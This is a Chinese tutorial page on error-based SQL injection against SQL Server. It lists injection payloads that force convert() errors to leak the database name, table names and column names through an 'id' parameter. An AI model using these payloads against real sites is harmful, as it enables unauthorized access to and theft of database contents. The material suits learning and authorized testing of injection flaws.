zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

SQL注入篇——SqlServer的报错注入

2023-09-11 14:17:07 时间

一、获取当前的数据库

使用函数db_name()

id=1 and 1=convert(int,(select top 1 db_name()))

在这里插入图片描述

二、获取当前数据库的表

将获取到的数据库名与.sys.sysobjects拼接

id=1 and 1= convert(int,(select top 1 name FROM text.sys.sysobjects where xtype = 'U'))

top 1代表只显示第一列数据
如果想显示更多数据在后面加and name != '第一次输出中的表名'以此类推,如:

id=1 and 1= convert(int,(select top 1 name FROM text.sys.sysobjects where xtype = 'U' and name != 'users' and name != '第二次输出中的表名'))

xtype = 'U'代表指定显示用户创建的表
在这里插入图片描述

三、获取当前数据库的表下的字段

id=1 and 1= convert(int,(Select top 1 name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('第一次输出中的表名') and name != '第二次输出中的表名'))
or
id=1 and 1= convert(int,(Select top 1 name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('数据库.dbo.表名') and name != '数据库.dbo.第二次输出中的表名'))

效果如下:

在这里插入图片描述